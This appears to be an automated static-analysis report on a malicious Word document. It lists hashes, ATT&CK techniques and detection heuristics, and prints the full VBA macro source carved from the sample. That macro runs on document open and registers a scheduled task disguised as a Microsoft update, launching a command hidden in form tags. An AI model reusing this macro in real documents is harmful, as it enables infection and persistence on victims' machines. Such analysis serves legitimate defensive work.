Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a9b9393e46e5caee…

MALICIOUS

Office (OLE)

67.5 KB Created: 2018-11-16 12:27:00 Authoring application: Microsoft Office Word First seen: 2019-01-20
MD5: dce667bf69831e4db92c5c6530353b40 SHA-1: ae64d138857ab3e0890959cf422d38a20eaf9202 SHA-256: a9b9393e46e5caeeee35329fc3f0f780482ce1d4934f384e85e10efcea870218
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059.001 PowerShell

The sample contains VBA macros, including a Document_Open macro, and uses CreateObject, indicating an attempt to automate actions. Heuristics suggest references to PowerShell and Windows Script Host, and a lure to enable macros. The VBA script attempts to create a scheduled task, likely to establish persistence or download a payload.

Heuristics 8

  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set service = CreateObject("Schedule.Service")
    Call service.Connect
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
    Dim message20 As Object
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3424 bytes
SHA-256: de3f8231bfe53bf0c125203cecf8bbb7e4c2de763fc916182dbd4e591705319b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Public Sub Multytab()
Dim message21 As Object
Dim message23 As Object
Dim message2 As Object
Dim message25 As Object
Dim message26 As Object
Dim message29 As Object
Dim message20 As Object
Dim message27 As Object
Dim message211 As Object
Dim message212 As Object

Dim message24 As Object
Dim message234 As Object









Const TriggerTypeTime = 1

Const ate = 0

Dim service


Set service = CreateObject("Schedule.Service")
Call service.Connect



Dim whereTo
Set whereTo = service.GetFolder("\")


Dim taskDefinition

Set taskDefinition = service.NewTask(0)






Dim regInfo
Set regInfo = taskDefinition.RegistrationInfo
regInfo.Description = "Start update process at a certain time"
regInfo.Author = "Microsoft Corp"



Dim principal
Set principal = taskDefinition.principal


principal.LogonType = 3

Dim settings
Set settings = taskDefinition.settings
settings.Enabled = True
settings.StartWhenAvailable = True
settings.Hidden = False



Dim triggers
Set triggers = taskDefinition.triggers

Dim whySoN
Set whySoN = triggers.Create(TriggerTypeTime)


Dim startTime, endTime

Dim time
time = DateAdd("s", 18, Now)
startTime = XmlTime(time)

time = DateAdd("n", 33, Now)
endTime = XmlTime(time)


whySoN.StartBoundary = startTime
whySoN.EndBoundary = endTime
whySoN.ExecutionTimeLimit = "PT" & "5M"
whySoN.ID = "TimeTriggerId8"
whySoN.Enabled = True





Dim alabama As Object

Set alabama = taskDefinition.Actions.Create(ate)
Dim formTag As String
formTag = crysler.Tag

Dim labelTag As String
labelTag = crysler.Label1.Tag
 alabama.Arguments = formTag
Dim message800 As String

 alabama.Path = labelTag

message800 = "Dim message800 As String"

Call whereTo.RegisterTaskDefinition( _
    "Shceduled update task", taskDefinition, 6, , , 3)



Dim message28 As Object
End Sub







Sub Document_Open()
Dim message20 As Object
Dim message27 As Object
Dim message211 As Object
Dim message212 As Object
Application.Run crysler.Label3.Tag
Dim message25 As Object
Dim message26 As Object
Dim message29 As Object
ActiveDocument.Close SaveChanges:=wdDoNotSaveChanges
Application.Quit
End Sub







Function XmlTime(t)
    Dim cSecond, cMinute, CHour, cDay, cMonth, cYear
    Dim tTime, tDate

    cSecond = "0" & Second(t)
    cMinute = "0" & Minute(t)
    CHour = "0" & Hour(t)
    cDay = "0" & Day(t)
    cMonth = "0" & Month(t)
    cYear = Year(t)

    tTime = Right(CHour, 2) & ":" & Right(cMinute, 2) & _
        ":" & Right(cSecond, 2)
    tDate = cYear & "-" & Right(cMonth, 2) & "-" & Right(cDay, 2)
    XmlTime = tDate & "T" & tTime
End Function

Attribute VB_Name = "crysler"
Attribute VB_Base = "0{88075E5D-9D0E-40D6-B99B-C4DF26A3B672}{59FFAD28-1942-4ABA-A31D-578124C39ABA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Label4_Click()

End Sub

Private Sub UserForm_Click()

End Sub